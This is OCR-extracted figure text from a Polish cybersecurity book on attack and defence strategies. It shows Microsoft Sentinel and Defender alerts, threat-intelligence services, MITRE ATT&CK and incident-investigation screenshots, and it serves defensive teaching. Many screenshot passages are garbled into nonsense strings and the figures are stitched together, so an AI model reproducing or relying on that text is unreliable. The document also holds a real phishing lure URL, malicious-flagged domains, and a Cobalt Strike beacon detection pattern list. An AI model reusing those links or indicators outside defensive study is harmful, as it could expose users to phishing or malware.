Rysunek 12.7. Dziatanie UEBA dla réznych elementéw
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Tiome  Microsalt Sentine] 5 Wiisaick 5
JeffL E
A Geldes & Feectack
oversew
it
P teth Tenerarge: MEVIOR, B4V M- MIAREIE BAISOM M) i
S e Insghts
i Events and alerts aver time
[ - User Pesrs Baaed on Sacurity Groups Membership. ©)
v 20 im0 B Rame vt T o
- pr r e
- 2 |~Awaw
o s Actioms By sccount (1)
R—— " )
ety Orpamrt | e b
. . [
- T 0 v Agthens on secount
. : | Mot
i o
Comact info P - - - - -~
- wn - ~ Anomalexsty high office aperatien couat 0
prom— oy
-
Alerts and actieities timeling
o P B T S Resourceseeens ©
e e
st e N
1 Suspichous peocess injection abserved B sAP UM Th recentiop 10 Nigh severity aterss e
Catecrad by Microsp Datendar Acvanced Theast rctecton | HZQGLE O oM (Preview]
vt = P — et
Entity link Rased et 164513
[Ipeima pretsanssmysmstArssoh Asws_Secury g 5] frr— N A g s o et
Cetected oy iR i App Secunty | HEAD -
Aty oty Mats Soaniosd by ) e ssir wat
Reeg ozt 1318 v UEBAleights 3
e
1 Impossible tavel actity
Cetected by Micsess Cloud App Secunty | D022 39129 P8 e — .
[
= P —— - :

Rysunek 12.8. Zachowania podmiotu w narzedziu Microsoft Sentinel

Alerts and activities timeline

o The timeline view presents only partial data. To view full data please narrow down your time range.

o Suspicious process injection observed O

Detected by Microsoft Defender Advanced Threat Protection | 3/24/2022, 3:01:31 PM
Microsoft Defender Advanced Threat Protection has raised an alert of type Suspicious process injection observ...
Related incident: 168519

o Mass download by a single user

Detected by Microsoft Cloud App Security | 3/24/2022, 3:01:29 PM
Activity policy 'Mass download by a single user’ was triggered by ‘JeffL’
Related incident: 168519

o Impossible travel activity
Detected by Microsoft Cloud App Security | 3/24/2022, 3:01:29 PM

Rysunek 12.9. 0$ czasu alertow
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1 SecurityAlert
2 | where SystewAlertId == "15bb57ef-ddd-SEle-5609-eabe3diaf16f"
3 | sunmarize arg_max(TineGenerated, *) by SystemAlertId

Results Chart Add bookmack
O Timecenersted (UTc) Sysemalertd Dispayhiame. Merttiame Mertsewty | Desription
p : e bt e A T i
g L
Tenartld
isplay

e pr—————
NertSererity Low
Description e -
ProvidaName MOKTE
Vendaame Microsoft
AlenType Saspicious process inpection ebserved
Isincident false
StartTime (UTC] 202203-24T19:0347 6712
EncfTime [UTC] 202T03-MTI95800Z

) 33872

Rysunek 12.10. Zapytanie Kusto utworzone automatycznie przez Microsoft Sentinel

aws 0

Infrastruktura lokalna

Administrator

ds. bezpieczenstwa
zarzadza za

pomocg dashboardu

Rysunek 12.11. Zarzadzanie chmura hybrydowa z centralnej lokalizacji



116 Cyberbezpieczenstwo — strategie ataku i obrony

() Refrosh = Change status - % Open query | % Supprossion i 2 Sccuily alerts map @ Sample alerts ) Aleris workbook & Download CVS roport | &7 Guidos & Feedback.

0 81K 916 e
Active alerts Affected resources THigh (403} Medium(1.8K) | Low (5.9K1
[ Search by 10, e or affected resource | Status == Active X Severky == Low, Modium, High X Resource type == Virtual Machine, Aure Are Resauree, .
[ Severity & Alert title 74 Affected resource T4 Activity start time (UTC-5) 72 MITER ATTECKS tactics Status T2
(] I High @ Suspected brute-force attack attempt & ninjosql Secret 03/22£22, 11:00 PM B Pre-atiack hcthe
] I High @ Suspected brute-force attack attempt & ninjasqlattack 03/19/22, 11:00 PM & Pre-attack Active
L1 | High @ Suspected brute-force attack attempt & ninjasql Secret 0317722, 11:00 PM @ Pre-attack Active
[ | High @ Suspected brute-force attack attempt & ninjosql Secret 0315122, 11:00 PM @ Pre-atiack Active
[ | Hiah @ Microsoft Defender for Cloud test altes forKS (not... & aws-eks-cluster-eks-protected-demo-us-eat-2  03/15/22, 09:19 AM Active
O | High @ Mimlkatz credential theft tool A ECZAMAZ-HK67 20P 03/15/22, 06:30 AM & Credential Access Acthie

Rysunek 12.12. Azure Security Center z aplikacja Defender for Cloud

Home > Micrasoft Defender for Cloud >
Security alert

@ Ssuspected brute-force attack attempt Alertdetails Take action
High it Active 03/22/2...
Seim Status. h Eﬂm‘m‘me Compromised entity Failed logins Detected by
ninjasql 300 2 Microsoft
Alert description D Copy alert JSON
Brute-force attack is a common attack technigue for Client IP address Successful logins
finding valid credentials to the database. By submitting o

many users/passwords combinations, an attacker can
guess a carrect one. Once obtained, an attacker can have
full access to the database. While this specific alert doesn't

indicate a successful brute-force, it is advised to take Client principal name Potential cause

safety measures to protect your resource against this userQ Brute force attak: penetration testing.
attack.

Toinvestigate this suspected brute-force attempt, review

it's origin (based on the application name and Client application Threat intelligence report

IP/Lacation), and try to find out whether it's recognized te
you, o suspicious. If you believe this to be an attack on
your database, use firewall rules to limit the access to your
resource, and make sure you use strong passwords and
not well known user names. Also, consider using only AAL
authentication to further enhance your security posture, Related entities

CLIENT-testsqgli Report: Brute Force

Affected resource ~ B Account (1)
~ k@ Azure resource (1
ﬁ) SQL server s m
~ K8 Host (1)
Subscription ~ B8 IP (1) Includes Geo & Threat Intelligence
Data sensitivity labels ~ % Metwork connection (1)
| Secret |
Data classifications
Person's Name (16)
Credit Card Number (8}
EU Debit Card Number (5)
Sea more (13]

Purview account

Rysunek 12.13. Szczegéty alertu bezpieczenstwa na platformie Defender for Cloud
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Home > Microsoft Defendler for Cloud »
Security alert »

0 Container with a sensitive volume mount
detected

Medium ¢ Active - @ 01/30/22, 1...
Severity Status Activity time

Alert description D Copy alert JSON

Kubemetes audit log analysis detected a new container with
a sensitive volume mount The volume that was detected is a
hostPath type which mounts a sensitive file or folder from
the nede to the container. If the container gets
compromised, the attacker can use this mount for gaining
access to the node.

Affected resource

»
'i:':' Kubernetes service

Subscription

MITRE ATTE&CK® tactics ©
+ Privilege Escalation

e e s e e T e e eeeee

« Was this useful? ©

O Yes O No x

Alert details  Take action

Container name
nrt-ele

Container image

Mamespace
default

Obiject kind
Fod

Related entities

~ B Azure resource (1)

Next: Take Acti

Object name

Sensitive mount path
!

Sensitive mount name
host-dir

Detected by
BB Microsoft

Rysunek 12.14. Szczegoty alertu dotyczacego kontenera
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| Analiza zagrozen

l | l

Marzec 2017 Maj 2017
]
F—m e e L ——————————————————————————————————— -}- ———————————————— -
I
' Wydanie Zespot niebieski otrzymuje i Wybuch epidemii

Aktorzy zagrozen MS17-010 informacje Tl na temat
zagrozen eksploita

EternalBlue i koniecznosci

—

I
|

A A l
1 zainstalowania poprawek
:
| B B -
: Zespot niebieski
I
I
I
l
|
I
I
I
l
I
I
I
1
|
'

WannaCry

Eksploit
EternalBlue

Przeciwnicy
i motywacje

|
|
|
|
|
|
|
|
I
|
1
l
1
l
|
1
1
|
I
1
|
1
|
|
l}
1
s

Rysunek 13.1. Wydarzenia prowadzace do wybuchu epidemii WannaCry

BUILDING A SAFER INTERNET

HOW IT WORKS

{
Put any IP address you want to check in the box below to see a "isocode”: "IN",
sample response. "country": "India",
"state": "Maharashtra",
220.227.71.226 "city”: "Mumbai”,
"discover_date": "21017-10-27 ©9:32:45",
"threat”: "honeypot_tracker",

m e
}

Rysunek 13.3. Kwerendowanie strony internetowej przy uzyciu FraudGuarda
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THREAT INTELLIGENCE

@ ALIENVAULT OPEN THREAT EXCHANGE (OTX)

OTX KEY @ Missing OTX Key

AlienVault Open Threat Exchange (OTX) is an open platform providing users the ability to collaborate, research, and receive alerts
on emerging threats and indicators of Compromise such as IPs, file hashes, and domains.

You must have an OTX account to receive alerts based on threats identified in OTX. This account is separate from your USM
Anywhere account. Signup for an OTX account.

Enter your OTX Key to allow USM Anywhere to evaluate incoming event data against the latest OTX threat information and
automatically produce alarms when indicators of Compromise are detected.

Your OTX Key is available on the OTX APl page.

OTX Key

OTX Key *

Validate OTX Key

Rysunek 13.4. Platforma Open Threat Exchange (OTX) firmy AT&T Cybersecurity

= SORT BY: Time Created s

D INTENT S ALARM STATUS STRATEGY 3 METHOD 3

] @" Open C&C Communication Malware Beaconing to C&C
] fﬁé Open Suspicious Behavior OTX Indicators of Compromise
] fé‘ Open Malware Infection Ransomware

Rysunek 13.5. Status alarmu, strategia i metoda pokazane w interfejsie narzedzia USM



120 Cyberbezpieczenistwo — strategie ataku i obrony

Rysunek 13.6. Przykiad konkretnego alarmu narzedzia USM
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> C [ @ AlienVault, Inc. [US] | https;/fobcalienvault.com/pulse/548b3f4d11d40843c065(62/

PoS Scammers Toolb.. . :
Q IS5 ]4 v A0 My Bots, Machines, and the Matrix
[B5tr] 64 days age by AlienVault | Public | TLP: @ Green
REFERENCE: pasted text 41K
e RAZOR“?OLiD‘EQS INT... : P STR— SURSCRIAFRS
[Ceemmms )
Linking Asprox, Zem...
[CiCGHIED) 64 DAYS AGO AlienVauly
Summary
| Operation Double Tag Domsin (3) SHAL) _,URL M)
[oD7ED] 64 DAYS AGO AlienVaust f [ [
e "-umm; L'm.u; -+ nosmame (1
egin
Q ncfm‘“m“m TYPES OF INDICATORS
FIN4 Indicators of Compromise
(GO0 53 DAYS AGO AlenVauis
Show |10 ¥ | entries
Rysunek 13.7. Zrzut ekranu dashboardu narzedzia OTX Pulse
Group-IB: BadRabbit There is a connection between BadRabbit and Not Petya
| 20| 1 day ago by networkbo | Public | TLP:  White
On 24th Dctober in Russia and Uiraine a largescale cyber attack tock place Liing a new cryplolocker - BadRabbit s 0 0 s
Amongst wiabms, thes affected s and of the Keev metro, Y more SUBSCRIBERS VOTES COMMENTS RELATED
International Arport, 22 well 32 3 number of sate entaniations in the Ruiuan Federation. VK in the Russlan..
I REFERENCE:  MApA:/oeoen g1 oup .comibdog e abtst [Toomsione | ann ]

TAGS: laass. usd ) bad rabbit, Mashplayer

GROUPS: No grovps.

summary
pr—— PR —— e
I [ L

1 1 N n
MO Semad(l) SEE) S Carmany (1)
TYPES OF INDICATORS THREAT INFRASTRUCTURE

Rysunek 13.8. Zapewniane przez spofecznos¢ wazne informacje dla wzmocnienia

systemu defensywnego
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Subscribers (340)
Report Spam

Ransomware Tracker Indicators

6 YEARS AGO by rpsanch | Public | TLP : @ Gresn
Ransomware Tracker tracks and monitors the status of domain names, IP addresses and URLS that are associated with Ransomware, such as Boinet
CA&C servers, distribution sites and payment sités, By using data provided by Ransomwane Tracker, hosting- and intemet seérvice provider (ISPs), as
will as national CERTS/ICSIRTS, law enforcement agencies (LEA) and Secunity researchers can recaive an oveniew on infrastructure used by
Ransomware and whether thase are actively baing usad by miscreant to commit fraud.

hitp: abuse chifeedsl

ENDPOINT SECURITY Scan your endpoints for 10Cs from this Pulse! LEARN MORE

Indicators of Compromise (590) i ZTEEYEY eIl  Comments(1)  History (1)

LCIA:HoneyNet:June 20222
2WEEKS AGO | 3 DAYS AGD by dm_lncia | Puslic | TP : @ Groen
8 (P LR TE | 1PV
Louisiana Cyber Aliance (LCIA)
local law enforcement, a.,
tsac, tpot19, honeypot. la-safe.org

117
B SUBSCRIBERS

yPol Suricata Log: 2022 A unified coordinated group of federal, state,

LCIA:HoneyNet:June 20222 123

2ZWEEKSAGO | 2 DAYS AGO by ladamelmilier | Public | TLP : @ Green S SUBSCRIBERS
IPva: 117851 | IPVE2S

Louisiana Cyber Investigators Aliance (LCIA): HoneyPot Suricata Leg: 2022 A unified coordinated group of federal, state,
local law enforcement, a.,

tsec, tpot19, honeypot, la-safe.org

Rysunek 13.9. Zrzut ekranu z Ransomware Tracker Indicators

Homeland HoEgm-0=

InFocus | HowDoR | Getlnwolved | About DHS [Entersearch Team [[onoHs.gor -|[a]

About CISA

# » CISA » Cybersecurity = Information Sharing = Automated Indicator Sharing (AIS)

Information Sharing Automated Indicator Sharing (AIS)

Autmated Indicator Sharing (AIS) The Department of Homeland Security's (DHS) fr?e Automated Indicator Sharing (ALS)
A PR capability enables the exchange of cyber threat indicators between the Federal Government
Golaboration Program {C?SCP: and the private sector at machine speed. Threat indicators are pieces of information like
- malicious 1P addresses or the sender address of a phishing email (although they can also be
much more complicated),

Information Sharing and Analysis
Organizations . .

. AlS is a part of the Department’s effort to create an ecosystem where as soon as a company or federal agency
National Cyersecrity &

; observes an attempted compromise, the indicator will be shared in real time with all of our partners,
Communications Intergration N . . s
ey protecting them from that particular threat. That means adversaries can only use an attack once, which

increases their costs and ultimately reduces the prevalence of cyber attacks. While AIS won't eliminate
sophisticated cyber threats, it will allow companies and federal agencies to concentrate more on them by
clearing away less sophisticated attacks.

Ultimately, the goal is to commoditize cyber threat indicators through AlS so that tactical indicators are shared broadly among the
public and private sector, enabling everyone to be better protected against cyber attacks.

Rysunek 13.10. Zrzut ekranu ze strony Departamentu Bezpieczefistwa Wewnetrznego
z artykutem na temat zautomatyzowanego udostepniania wskaznikow (AIS)
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Z http:/ipagaldaily.com/

@ 5 engines detected this URL > 14
http:/ipagaldaily.com/ 200 text/html; charset=UTF-8 | 2019-10-26 18:54:01 UTC
pagaldaily.com Status | Content Type 1 day ago @
Community
Seore

DETECTION DETAILS COMMUNITY

AutoShun @ Malicious CRDF @ Malicious
Fortinet (@D Maliclous Malware Domalin Blacklist (1) Maliclous
Quttera @ Malicious Forcepoint ThreatSeeker 0]
ADMINUSLabs &) Clean AegisLab WebGuard ) Clean
AlienVault ) Clean Antly-AVL () Clean
Avira (no cloud) & Clean BADWARE.INFO @) Clean
Baidu-International /) Clean BitDefender ) Clean

Rysunek 13.11. Wykrywanie podejrzanych lub ztosliwych plikéw i adreséw URL
za pomoca serwisu Virus Total

" Tirysdueing wur e Wael Reprutation Thieat Levets which e acvurately ieflect o websites ot 1P adidiess’s reputation, Leain o by, '.'|

OWNCR DETAILS

DOMAIN

Rysunek 13.12. Zrzut ekranu z serwisu Talos Intelligence
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Applications Places v [ Terminal » Mon 00:36

File Edit View Search Terminal Help

Rysunek 13.13. Zrzut ekranu z narzedzia The Harvester

< C (ﬁ attack.mitre.org

Matrices Tactics ~ Techniques ~

MITRE | ATT&CK

Rysunek 13.14. Wyszukiwanie na stronie MITRE ATT&CK
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&« o ¢ @& attack.mitre.org

ipconfig

ipconfig, Software S0100
ipconfig ipconfig is a Windows utility that can be used to find information about a system's TCP/IP, DNS,
Associated Software: ipconfig.exe (i) Type: T...

Rysunek 13.15. Wyniki wyszukiwania

Technigues Used

Domain D Name Use
Enterprise  T1016 = System Network ipeonfig can be used to display adapter configuration on Windows systems,
Configuration Discovery including information for TCP/IF, DNS, and DHCP.

Rysunek 13.16. Technika wykorzystujgca to oprogramowanie

MITRE ATT&CK® Navigator

The ATT&CK Navigator is a web-based tool for annotating and exploring ATT&CK matrices.
It can be used to visualize defensive coverage, red/blue team planning, the frequency of
detected techniques, and more.

help changelog theme

Create New Layer Create a new empty layer ~
More Options v
Open Existing Layer Load a layer from your computer or a URL v
Create Layer from other layers Choose layers to inherit properties from v
Create Customized Navigator Create a hyperlink to a customized ATT&CK Navigator v

Rysunek 13.17. Technika wykorzystujaca to oprogramowanie
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X + @
selection controls | layer controks technique controls
= & - - P
8.0x B+EO=-|1@o0: i :m %208 =%
; 3 Privilege ; Credential . Lateral . Command and .
Execution Persistence Escalation Defense Evasion Access Discovery Movement Collection Control Exfiltration
12 techniques 19 techniques 13 techniques 40 techniques 15 techniques 29 techniques 9techniques 17 techniques 16 techniques 9 techniques
Command and Aecount Abuse Elevation il Abuse Elevation dversary-in- M Account Discovery I Exploitation of  Adversary- Autornated [l Ao
Scripting Manipulation ., | Cantrol Control the-Middle ., Remote the-Middle ., Exfiltration ., [l Re
Interpeater o Mechanim Mechanism ;. Application Window Services
Discovery Archive o
Container Access Token Arcess Token e Internal Collected Communication
Administration Manipulation .. M Manipulation , ., Browser Bookmark Spearphishing  Data Through o)
Command Discovery o Removable Exfiltration fc
Latesal Tool Audio Capture  Media Over
Deploy Container - Cloud Infrastructure Transter Altemnative
Execution ., Build Image on Host Discavery Automated Data Pratocol
Explostation Remote Collection Encoding ,
Boct or Lagon for Credential | Cloud Service Service Exfiftration
alization Access Dashboard Session Data Quer 2
Scripts Hijacking , , Obfuscation ..l Channel
Deploy Container Forced Cloud Service .
Create or Modify Authentication  Discovery Remote Clipboard Data Dynamic Exfiltration Er
Compromise System Direct Volume Access Services . Resolution Over Other of
Chient Softwa Process , Forge Web Cloud Storage Object Data from £ Network
Binary n Poli Credentials ., W Discovery Replication Cloud Storage  Encrypted Medium ., W Fi
Taskilob . Domain Policy Modification, ;.. Through Object Channel £ ]
Create Modification Input Container and
Shared Modules. Account Execution Capture ;) Resource Discovery Fallback in
EscapetoHost  Guardrails Channels Re
Software Create or Modify Domain Trust
Deployment Tools  System Explaitation for Discavery N
Process ., T Defense Evasion st
System Services . | .
Event Triggered File and Directory Network Re
User Execution . lll Execution ., Permissions Sniffing H
- £ i Group Policy
External Remote = " 05 Credential [ Discovery Se
Services Hijack Execution Dumping Trangfer Data
Flow to Cloud Y
Hijack Execution Steal Account s

Flow gy

P n
Access Token
Irmplant Internial

image Steal or Forge
Indicater Removal on [l Kerberos Network Sniffing
Host Tickets

Password Policy
Process ., Indirect Command Steal Web Discovery

Rysunek 13.20. MITRE ATT&CK Navigator
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»

2" Threat Intelligence Platforms (Preview)

Connected ¥ Microsoft @ 21 hours ...
Status Provider Last Log Recei...
Description

Microsoft Sentinel integrates with Microsoft
Graph Security AP| data sources to enable
monitoring, alerting, and hunting using your
threat intelligence. Use this connector to send
threat indicators to Microsoft Sentinel from your
Threat Intelligence Platform (TIP), such as Threat
Connect, Palo Alto Networks MindMeld, MISP, or
other integrated applications. Threat indicators
can include IP addresses, domains, URLs, and file
hashes.

Last data received
03/25/22, 03:58 PM

Related content

[ ) 2 & 4

Workbooks Queries Analytics rules 1

4 »

Open connector page

Rysunek 13.21. Zrzut ekranu z konektora Threat Intelligence Platforms
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Threat intelligence - X
O Refresh =+ Add new 6 Add tags ]ﬁ[ Delete == Columns E Threat intelligence workbook }\_\" Guides & Feedback
-
0396 *2.6M V6
Tl alerts Tl indicators Tl sources
»
ID Search by name, values, description or tags | @ Microsoft Identified Botnet
Type : All Source : All Threat Type : All Confidence : All
i i 100 0 & Other
Expiring Before : All Confidence Alerts () Types
-
Values
N T Val T S T
[ Name 7 ues L ource T sre_refvalue
[ Microsoft Identified Botnet  [network-trafficsre_ref.. &5 Other Micrasoft Emergingli 185.125.246.110
D Microsoft Identified Botnet [network-trafficsre_ref... & Other Micrasoft Emerging Tags Threat types
D Microsoft ldentified Botnet [network-trafficsre_ref.. &9 Other Micresoft Emerging 1 + Botnet
D Microsoft Identified Botnet [network-trafficsre_ref... W% Other Microsoft Emerging 1
. . . . - Description Mame
- : 1
D Microsoft Identified Botnet [network-trafficsre_ref. ﬁ Other Microsoft Emerging MSTIC HoneyPot An  Microsoft Identified
[ Microsoft Identified Botnet  [network-trafficisrc_ref.. &% Other Micresoft Emerging 1 attacker used abrute  Botret
force attack to gain
D Microsoft Identified Botnet [network-traffic:src_ref... 9 Other Microsoft Emerging 1 access to a service or
device
D Microsoft ified Botnet [ r icisre_ref... &Y Other Microsoft Emerging 1
D Microsoft ldentified Botnet [ rk icsre_ref... &9 Other Micresoft Emerging 1 Revoked Confidence
100
D Microsoft Identified Botnet [network-trafficsrc_ref... Microsoft Emerging 'I‘
« I i Source Pattern
< Previous 1-100 [ Next > ‘ Microsoft Emerging  [network-
Threat Feed wsre refvalue = -

Rysunek 13.22. Zrzut ekranu strony analizy zagrozein w programie Microsoft Sentinel

Home > Microsoft Sentinel > Microsoft Sentinel >

Threat Intelligence X

et Copen B O & £ @ 7 Hep ‘D Auto refresh: off

URLS, file hashes, or IP addresses with known threat activity such as phishing, botnets, or malware. This form of threat intelligence is often called tactical threat intelligence
because it can be applied to security products and automation in large scale to detect potential threats to an organization and protect against them. In Microsoft Sentinel,
Y¥ou can use threat indicators 1o help detect malicious activity observed in your envirenment and provide context to security investigators to help inform response
decisions. For more inft see @ Threat f in Microsoft Sentinel.

Indicators Ingestion  Threat Datection & Hunting  Observed Threats

B Indicators Imported into Sentinel by Indicator Type and Date B indicators Imported into Sentinel by Indicater Provider and Date
2008 20
156t 15
100¢ 1o
50K o
mlll.w.n:..-.\lluI.w.:n:.ll\:l. e LA |||||\II||L||||||I\||||
Feb25 Feb27 Masch Mard barS Mar? Mard Mar 1] Marid Mar 1S Mari? M5 Mardl Mar2d a2 Feb25 Fob27 Mach Mard MarS Mard Mach Mar 11 bar13 Mar 5 Mar 17 Mact9 Mar2l MarEd  Mar2

[ 1269, 1351« im. I8 lo25.™ 1193, li7. 1782 13587,

Rysunek 13.23. Zrzut ekranu skoroszytu analizy zagrozen
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Microsoft Corporation. All rights reserved.

currentcontrolsetcontrol\t

currentcontrols ntrol

SParentPath
e

Rysunek 14.1. Uzycie polecenia Get-ltemProperty w programie PowerShell

Name Type Data
2¥) (Default) REG_SZ (value not set)

#4i DefaultGatewayMac | REG_BINARY 00 50 8 02 91 05

2 Des: " REG_SZ @Hyatt_WiFi

.,‘_..: DnsSuffix REG_SZ <none>

¥ FirstNetwork REG_SZ @Hyatt_WiFi

%) ProfileGuid REG_SZ (B2E890D7-A070-4EDD-95B5-F2CF197DABSE)

24 Source REG_DWORD  0x00000008 (8)

Rysunek 14.2. Przegladanie wyniku dla klucza Unmanaged

Name Type Data

ab) (Default) REG_SZ (value not set)

_ﬁﬂ Address REG_DWORD 0x00000004 (4)

_&ﬂ Capabilities REG_DWORD 0x00000010 (16)

_e] ClassGUID REG_SZ {4d36e967-e325-11ce-bfc1-08002be 10318}

g_i‘] CompatiblelDs REG_MULTI_SZ USBSTOR\Disk USBSTOR\RAW GenDisk

_ﬁﬂ ConfigFlags REG_DWORD 0x00000000 (0)

\a_b] ContainerlD REG_SZ {422ae5be-5d49-599¢-9bf0-d80d636363d7}

-i'.!] DeviceDesc REG_SZ @disk.inf,%disk_devdesc%;Disk drive

-ﬁ] Driver REG_SZ {4d36e967-e325-11ce-bfc1-08002be10318)\0011

_\a_b‘] FriendlyName REG_SZ USB DISK 2.0 USB Device

_\a!] HardwarelD REG_MULTI_SZ USBSTOR\Disk_ USB_DISK_2.0___DLO7 USBST...
ab] Mfg REG_sZ @disk.inf,%genmanufacturer%;(Standard disk drives)
ab) Service REG_SZ disk

Rysunek 14.3. Kolejny przyktad klucza
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FINDYOUR CHECK YOUR
INEAREST STORE STAR COUNT

m Monday 13th
and
ilable to

Please note: The changes are not an update to the existing
Starbuck app. If you have automatic updates enabled, this won't
update to the Starbuck UK app as this will need to be
downloaded.

nd account informal
p on hai

. ) — . . GETITON [ Download on the
GooglePlay | % App Store ™ GooglePlay | @ App Store
https://
click-only-page-8b5eb0be-8e84-11ec-b9
For mnre_im‘orma\iun and to update your preferences 09-0242ac120002.e-voicemail.com/film.
please click php?ref=xvedksdnyzwb
T Rl n (a1t Click or tap to follow link.

please click

MY STARBUCK
REWARDS

Rysunek 14.6. Prawdziwy przykiad e-maila phishingowego, ktory byt w stanie
naruszy¢ bezpieczenstwo systemu
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2 Search or scan URL, IP address, domain, or file hash

3 engines detected this URL
f URL http://nfe.correiowebmail.com.bridhsdfhsdhdshp.php

Host nfe.correiowebmail.com.br [4
3/65

Last analysis 2017-06-23 11:09:55 UTC

Detection Details Community
BitDefender A Malware
Fortinet A Malware
Sophos AV A Malicious

Rysunek 14.7. Weryfikacja adresu URL za pomoca serwisu VirusTotal

0 Suspicious use of PowerShell detected.

High %% Active V © 04/11/22, 1...
Severity Status Activity time
Alert description 0 copy alert JSON

Suspicious powershell script

Affected resource

ﬂ TargetVM
Virtual machine
Microsoft Azure

Subscription

.

Rysunek 14.8. Alert dla podejrzanego skryptu PowerShella
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0 Suspicious process executed

High 3F Active v ® 04/11/122,1...
Severity atus Activity time
Alert description [0y Copy alert JSON

Analysis of host/device data detected a suspicious SVCHOST.exe process
from a path other than \ Windows\System\SVCHOST.exe. SVCHOST is a
frequently used, legitimate Windows system process. Threat actors
commeonly try to evade detection by masquerading malicious processes
as ‘SVCHOST.exe’ so that they blend into the list of running Windows
processes.

Affected resource

TargetVM
Virtual machine

? Microsoft Azure
Subscription

MITRE ATT&CK® tactics ©

* Defense Evasion

* Execution

oo-csco'@ EEEEREERE

Rysunek 14.10. Podejrzane wykonanie procesu

0 Suspicious Activity Detected Alert detalls  Take setion
Medium 1F Active . @ oamy22,1.
Severty pre Aty bee Machine Mare
TargetVii
Alart description @ Copy atent rsoM

Cormmand Ust

Aralyun of host daty han detected » sequence of Oone Or MOre ProCeLLes

rurning on TarpetviM that have hintorcally bren msccisted with Process was kulled.

malcious activity While individual commands may sppesr benign the SYSTEMENFO command was executed
St 5 1COned Dased On a0 MpPreQation of these commandy This cosld Windows Firesall was dsabled

eimher ba legitimate activty, or an indication of 3 compromised host PING command wan surcuted

New Service was added
Process peristed in regstry

Rysunek 14.11. Podejrzana aktywnos¢

Detected by
B Microsoh
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0 Windows registry persistence method
detected

Low 31 Active - © 04/11/22,1...
Severity Status Activity time
Alert description [ copy alert ysON

Analysis of host data has detected an attempt to persist an executable in
the Windows registry.
Affected resource

TargetVM
Virtual machine

& Microsoft Azure
L Subscription

MITRE ATT&CK® tactics ©

* Persistence

....DC’JUUOQOOOOO

Rysunek 14.12. Utrwalanie obecnosci w systemie
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0 Potential attempt to bypass AppLocker

detected
High 3¢ Active — © 04/11/22...
Severity Status Activity time
Alert description [D Copy alert JSON

Analysis of host/device data detected a potential attempt to bypass
AppLocker restrictions, AppLocker can be configured to implement a
pelicy that liimits what executables are allowed to run on a Windows
system. The command line pattern similar to that identified in this
alert has been previously associated with attacker attempts to
circumvent AppLocker policy by using trusted executables (allowed
by AppLocker policy) to execute untrusted code. This could be
legitimate activity, or an indication of a compromised host.

Affected resource

TargetVM
Virlual machine

& Microsoft Azure
U Subscription

MITRE ATT&CK® tactics ©

* Privilege Escalation

* Execution

....%.w...'....

Rysunek 14.13. Podnoszenie poziomu uprawnien
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Rysunek 14.15. Wykorzystanie Log Analytics do polowania na interesujace zdarzenia
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sp‘unk App: Microsoft Graph Security Add-on for Splunk

Inputs Configuration Search

Q New Search

alert "vendorInformation.provider"=ASC
~ 18 events (10/5/19 12:00:00.000 AM to 11/4/19 8:21:46.000 PM) No Event Sampling ~
Events (18) Patterns \  Statistics Visualization

Format Timeline ~ —Zoom Out  + Zoom to Selection  x Deselect

Rysunek 14.16. Wyszukiwanie alertow generowanych przez Defender for Cloud
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0 Microsoft Defender for Cloud

Connected ¥ Microsoft (® 3 hours ago
Status Provider Last Log Received
Description

Microsoft Defender for Cloud is a security management tool that allows
you to detect and quickly respond to threats across Azure, hybrid, and
multi-cloud workloads. This connector allows you to stream your
security alerts from Microsoft Defender for Cloud into Microsoft
Sentinel, so you can view Defender data in workbooks, query it to
produce alerts, and investigate and respond to incidents.

For more information=

Last data received
05/05/22 11:01 AM

Related content

[ 2 é6

Workbooks — Queries Analytics rules templates
Data received Got to log analytics
115
14.8
114.6
144
114.2
114
April 20 May 1 May 3

I Total data received

799

Rysunek 14.17. Integracja programu Defender for Cloud
z narzedziem Microsoft Sentinel



138 Cyberbezpieczenstwo — strategie ataku i obrony

Hunting x
Ottt O tiinmn ~ 4 relmy [ dnstamm 0 Gty 2 G & entian
@398/4287s w0/0 Ho Ao e
e st e S A b - —— P ]
O Qo—,——h-mnﬂplq
B x ® i ©° 9 * & = &« &= % ®= B & M O [r— a [ e
) 2 e =n n M ¥ M 2w n a o 2 @ L] - — — Sp—
. R mes e e R (e Owe . G Cem. . mgen mgs. wea eme
-
Ry o bt M et (M D i
5 bt g Ny — Tty byt A
0O sommn [S— [ S s s+, R s i e - ey e
D - e - = - o i ¥ P Lm it N e ey W bl By Sal e R
(O ® o v apphcmes duey e e it
[ ST P v
OF toriete mrny rmmt by bt ity Gy
. e b L,
Qe a= i [irs S 14 ¢ Mtirett L.
. - ]
O o e o o—— — - s
(R L ——————— P Dby, winsuier.
OF oare e e — et — ey
[ T Sy S — Dot .
O* se—ehepgoumpes w—— r— = A
(R ] S — [ L=
O®  conen e oo bemmeey e Dt -} [N
O ® remt e v g v o et g ) -  grt _—
“ —— —
O ® et o sy vy Gt . e - — _,_:__“...._.-f
e o S .-
] (e () )

Rysunek 14.18. Dashboard Hunting dla tropicieli zagrozen




Rozdziat 14. Badanie incydentu 139

@ Cobalt Strike DNS Beaconing

Microsoft @ -- B DnsEvents, VMConn
Provder Results Data sources
Descrniption

Cobalt Stnke is a famous Pen Test tool that is used by pen testers as well as
attackers alice To compromise an emaronment. The query tnes to detect
suspicious DNS queries known frem Cobah Strike beacons. This is based out of
sigma rules described here:
https//github.com/Neo23x0/sgma/blob/master/rules/network/net_mal_dns_c
obaltstnice.yml

Created time
9/3/2019

Query
let badNames = dynamic([“aaa.stage.”, “post.17]);
(union isfuzzys=true
(DnsEvents
| where Name has_any (badNames)
| extend Domain = Name, Sourcelp = ClientIP, RemotelP
. todynamic(IPAddresses)

————ecend Aamea.vA

View query results >

Entities

Host 1P

Tacucs

Command and Control The command and control tactic represents how
adversanes communicate with systemns under ther
control within 3 target network.
read more on attackcmitre.org o

Vvt

Rysunek 14.19. Kwerenda beaconingu DNS Cobalt Strike’'a
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»

@ Multiple Password Reset by user

Microsoft Q1 I8 AuditLogs, Security...
Provider Results Data sources
Description

This query will determine multiple password resets by user across multiple
data sources. Account manipulation including password reset may aid
adversaries in maintaining access to credentials and certain permission levels
within an environment.

Rysunek 14.20. Wyniki wyszukiwania zakofczone powodzeniem

Teme range : Last 24 hours B save v 2 Share v - Newalertnde v~ = Expot v 2P Pinto v
1 let PerUserThreshold = 5;
2 let TotalThreshold = 100;
3 let action = dynamic(["change™, “changed™, “reset”]);
4 let pWord = dynamic([“password™, “credentials®]);
5 let PasswordResetMultiDataSource =
6 (union isfurzy=true
7 (//Password reset events
8 //4723: An attespt was made to change an account's password
9 //4T724: An attespt was made to reset an accounts password
10 SecurityEvent
11 | where EventID in (47237, "47247)
Results  Chan
